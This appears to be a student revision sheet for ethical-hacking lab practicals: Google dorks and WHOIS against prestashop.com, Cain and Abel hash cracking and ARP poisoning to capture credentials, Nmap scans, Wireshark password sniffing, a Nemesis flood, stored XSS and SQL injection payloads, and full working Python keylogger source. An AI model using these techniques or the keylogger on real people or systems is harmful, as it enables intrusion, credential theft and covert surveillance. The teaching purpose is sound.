ETHICAL HACKING LAB · PRACTICAL NOTES

Every Practical. One Page. Full Marks.

All eight labs in the standard answer format — Aim, Tooling, Procedure, Result — each condensed onto a single page with the exact commands, setups and expected findings, written the way examiners want it.

Whois · CryptTool · Cain and Abel · Nmap
Wireshark · Nemesis · XSS · SQLi · pynput

RAPID REVISION SHEET · 2026

PRACTICAL NO. 1

Reconnaissance using Google and Whois

AIM

Use Google and the who.is lookup service to perform reconnaissance — passive information gathering about a target domain (www.prestashop.com) without ever contacting the target directly.

TOOLING

who.is	public WHOIS lookup portal — returns the domain's registration record from the registry
Google	search engine — advanced operators (dorks) surface content the target has left indexed
Web browser	client used to reach both services and record the findings
Target	www.prestashop.com — publicly observable domain used in the lab

PROCEDURE

PART A — WHOIS LOOKUP ON WHO.IS

1. Open **who.is** in the web browser.
2. Enter the target domain **www.prestashop.com** and hit **Enter**.
3. Read the returned WHOIS record — registrar, registrant organisation, creation and expiry dates, name-server hostnames, domain status codes and contact e-mail.

PART B — GOOGLE DORKS

4. Run targeted Google searches against the same domain using advanced operators to reveal what the site has left indexed.

   ```
   site:prestashop.com inurl:admin · filetype:xls site:prestashop.com · intitle:"index of" site:prestashop.com
   ```

5. Note every exposed login page, directory listing, document and sub-domain — these extend the target profile.

RESULT

> The complete registration record (registrar, registrant, dates, name servers) was obtained from who.is, and Google dorks surfaced the target's indexed exposure — all gathered purely passively, with no traffic sent to the target. Hence reconnaissance using Google and Whois was performed successfully.

PRACTICAL NO. 2

RC4 Encryption with CryptTool + Cain and Abel Dictionary Attack

AIM

2.1 Use CryptTool to encrypt and decrypt passwords with the RC4 algorithm. 2.2 Use Cain and Abel to crack a Windows account password by dictionary attack and to decode wireless network passwords.

TOOLING

CryptTool	educational crypto suite — runs the RC4 symmetric stream cipher for encryption and decryption
Cain and Abel	password-recovery tool — Hash Calculator converts a password to its hash; the Cracker runs the attack
Wordlist file	dictionary of likely passwords fed to the cracker
Target	MD5 hash of a Windows account password

PROCEDURE

PART A — RC4 IN CRYPTTOOL

1. Open CryptTool and select **Symmetric → RC4** from the encryption menu.
2. Enter the plaintext password and a secret key, then run **Encrypt** — RC4 expands the key into a keystream and XORs it with the plaintext to produce ciphertext.
3. Run **Decrypt** on the ciphertext with the same key — the original password is recovered, confirming correct symmetric operation.

PART B — DICTIONARY ATTACK IN CAIN AND ABEL

4. Open Cain → **Hash Calculator** → enter the password → it is converted to its hash (e.g. MD5).
5. Paste the hash value into the **Cracker** field.
6. Right-click the hash → **Dictionary Attack**.
7. Right-click the entry → **Add to List** → select the wordlist file.
8. Select the attack options and click **Start** — Cain hashes every candidate word and compares it with the target until one matches.

RESULT

> CryptTool's RC4 output decrypted back to the exact original password with the same key, demonstrating a working symmetric stream cipher; Cain and Abel recovered the Windows password from its MD5 hash by hashing every wordlist entry until a match was found. Hence RC4 encryption/decryption and the dictionary attack were performed successfully.

PRACTICAL NO. 3

Network Commands (tracert, ping, ifconfig, netstat) + ARP Poisoning

AIM

3.1 Use the TraceRoute, ping, ifconfig and netstat commands to inspect the route to a target and the local machine's connections. 3.2 Perform ARP poisoning in Windows using Cain and Abel to position the attacker between victim and gateway (man-in-the-middle).

TOOLING

Windows command prompt	runs the four built-in network commands — tracert, ping, ifconfig, netstat
Cain and Abel	sniffer + ARP module — scans the subnet and poisons the ARP caches of both sides
Lab LAN	victim machine and default gateway on the same broadcast domain

PROCEDURE

PART A — THE FOUR NETWORK COMMANDS

1. **tracert www.prestashop.com** — lists every router (hop) on the path, with round-trip times.
2. **ping** each returned IP address — confirms the reachability and delay of every hop.
3. **ifconfig** — displays the local interface configuration: IP, MAC, netmask and state.
4. **netstat** — lists active connections, listening ports and protocol statistics.

PART B — ARP POISONING WITH CAIN

5. Open Cain → **Sniffer** tab → **Start/Stop Sniffer** → select the network device → OK.
6. Click **+** → scan the subnet → connected hosts are listed.
7. Open the **ARP** tab at the bottom → **+** → choose the victim (source) and gateway (destination) pair.
8. Click **Start/Stop ARP** — Cain sends forged ARP replies and poisons both caches; traffic now flows through the attacker.
9. Browse any website from the victim machine → open **Passwords** in Cain — the visited site's credentials appear.

RESULT

> The route to the target was traced hop-by-hop and the local configuration was inspected with the four commands; after ARP poisoning, the victim's traffic was relayed through the attacker and the credentials of the visited site appeared in Cain's Passwords tab. Hence network inspection and a man-in-the-middle ARP poisoning attack were performed successfully.

PRACTICAL NO. 4

Nmap Port Scanning — ACK, SYN, FIN, NULL, XMAS

AIM

Use the Nmap scanner to perform port scanning in five forms — ACK, SYN (stealth), FIN, NULL and XMAS — against a scan-authorised host such as scanme.nmap.org.

TOOLING

Nmap for Windows	industry-standard port scanner — crafts raw probe packets and classifies every port state
Command prompt	console from which the scans are run (nmap verifies the install)
Target	scanme.nmap.org — a host explicitly authorised for scanning practice

PROCEDURE

Setup — install Nmap for Windows, open cmd and type **nmap** to verify the installation, then run the five scans below.

1. Run each scan form against the target and record the port states Nmap reports.

Scan	Command	What it does / tells you
ACK (-sA)	nmap -sA -T4 scanme.nmap.org	Never says open/closed — maps firewall rule-sets: which ports are filtered, whether the firewall is stateful.
SYN (-sS)	nmap -p22,113,139 scanme.nmap.org	Default stealth (half-open) scan: SYN → SYN/ACK → RST; thousands of ports per second, rarely logged.
FIN (-sF)	nmap -sF -T4 scanme.nmap.org	Sets only the FIN bit — slips past simple non-stateful filters; no reply means open|filtered.
NULL (-sN)	nmap -sN -p 22 scanme.nmap.org	No flags set (TCP header = 0); same inverse logic — a closed port must answer RST.
XMAS (-sX)	nmap -sX -T4 scanme.nmap.org	Sets FIN + PSH + URG — 'lit up like a Christmas tree'; targets RFC-compliant stacks.

RESULT

The SYN scan identified the open ports on the target, the ACK scan mapped the firewall rule-set and exposed stateful filtering, while FIN, NULL and XMAS reported open|filtered wherever the stack ignored malformed probes. Hence port scanning in all five forms was performed successfully with Nmap.

PRACTICAL NO. 5

Wireshark Traffic Capture and Analysis + DoS using Nemesis

AIM

5.1 Use the Wireshark sniffer to capture and analyse network traffic and observe how HTTP exposes login credentials. 5.2 Simulate a Denial-of-Service attack using Nemesis.

TOOLING

Wireshark	open-source packet analyser — captures LAN frames live and dissects every protocol layer
Web browser + test site	generates a real login (HTTP POST) while the capture runs
Nemesis	command-line raw packet crafting and injection tool — produces the DoS flood traffic

PROCEDURE

PART A — CAPTURING CREDENTIALS WITH WIRESHARK

1. Install and open Wireshark → **Capture → Interfaces** → select **Local Area Connection** → Start.
2. Live packets appear — source, destination, protocol, length and info for the LAN traffic.
3. Open a website in a new window and log in (register if needed); Wireshark keeps recording meanwhile.
4. Apply the display filter **http** → stop the capture.
5. Locate the **POST** request of the login form — the e-mail id and password are visible in clear text inside the packet.

PART B — DoS USING NEMESIS

6. Nemesis crafts and injects raw packets (TCP/UDP/ICMP …) directly from the command line.
7. A flood of crafted packets (e.g. TCP SYN) is aimed at the lab target until its service queue is exhausted — the simulated DoS.

RESULT

> The capture showed an HTTP POST carrying the login credentials in plaintext, while encrypted traffic remained unreadable; the Nemesis flood exhausted the lab target's service queue and denied service to legitimate clients. Hence traffic analysis with Wireshark and a simulated DoS attack were performed successfully.

PRACTICAL NO. 6

Persistent (Stored) Cross-Site Scripting Attack

AIM

Simulate a persistent (stored) Cross-Site Scripting attack — a script injected once is stored on the server and then executes automatically for every visitor of the page.

TOOLING

XAMPP	local Apache + MySQL stack hosting the lab application
DVWA-style lab app	deliberately vulnerable web app run at localhost; security level set to low
Web browser	used by the attacker to inject and by the victim to trigger the payload
Payload	<script>alert(document.cookie)</script>

PROCEDURE

1. Start **XAMPP** (Apache + MySQL) and open the lab application at localhost.
2. Set **Security Level = low** so input is accepted and stored without sanitisation.
3. Open the message-board / guest-book field and post the payload:
   ```
   <script>alert(document.cookie)</script>
   ```
4. The script is saved into the database — it is now part of the page itself.
5. Reload the page (or visit as any other user): the browser executes the stored script and pops the session cookie — for **every** visitor, not just the attacker.

RESULT

> The injected script persisted in the server's database and executed automatically in every visitor's browser, displaying the session cookie. A persistent XSS was therefore successfully simulated — unlike reflected XSS it required no crafted link and fires for all users until an admin removes it.

PRACTICAL NO. 7

SQL Injection Attack

AIM

Perform an SQL injection attack against the local lab application (XAMPP + MySQL) and observe authentication bypass through tautology payloads.

TOOLING

XAMPP	Apache + PHP front-end with MySQL backend
phpMyAdmin	creates and manages the lab database sql_db
sql_injection lab app	login.php / setup.php pages built on a deliberately unsafe query
Payloads	a' or ''=' · 1=1 · 1*

PROCEDURE

1. Open **XAMPP** → start **Apache** and **MySQL**.
2. Browse to **localhost/phpmyadmin** and create database **sql_db**.
3. Open **localhost/sql_injection/setup.php** → click **Create / Reset Database**.
4. Open **login.php** and log in as admin; go to **Security** → set level **low** → open the **SQL Injection** page.
5. Submit **1** — a normal lookup returns that user's row.
6. Submit **a' or ''='** — the WHERE clause becomes always-true: login bypassed, all rows returned.
7. Submit **1=1** — again an always-true condition (classic tautology test).
8. Submit **1*** — an intentional syntax error shows whether database errors leak to the page.

RESULT

> The tautology payloads a' or ''=' and 1=1 bypassed authentication and returned every row of the table, and 1* produced a leaked database error — proving that user input reaches the SQL engine unfiltered. Hence the SQL injection attack was performed successfully.

PRACTICAL NO. 9

Simple Keylogger using Python (pynput)

AIM

Create a simple keylogger in Python that records every keystroke with a timestamp into key_log.txt using the pynput listener.

TOOLING

Python 3	runtime for the keylogger script
pynput	library for monitoring input devices — keyboard.Listener captures every key event
logging module	Python standard library — writes each keystroke with a timestamp to the log file
Editor / IDE	used to write and run the script

PROCEDURE

1. Install the library: **pip install pynput**.
2. Write the keylogger script:

```
from pynput.keyboard import Key, Listener
import logging

log_dir = ""
logging.basicConfig(filename=(log_dir + "key_log.txt"),
level=logging.DEBUG,
format='%(asctime)s:%(message)s:')

def on_press(key):
logging.info(str(key))

with Listener(on_press=on_press) as listener:
listener.join()
```

3. Run the script and type freely — the listener runs silently in the background until the process is stopped.
4. Open **key_log.txt** — every keystroke is appended as timestamp:key (e.g. 2026-01-05 10:22:31,204:'h'); special keys print as Key.enter, Key.space, Key.shift.

RESULT

Every keystroke was recorded with its timestamp into key_log.txt while the script ran silently in the background — a working software keylogger was created successfully using Python and pynput.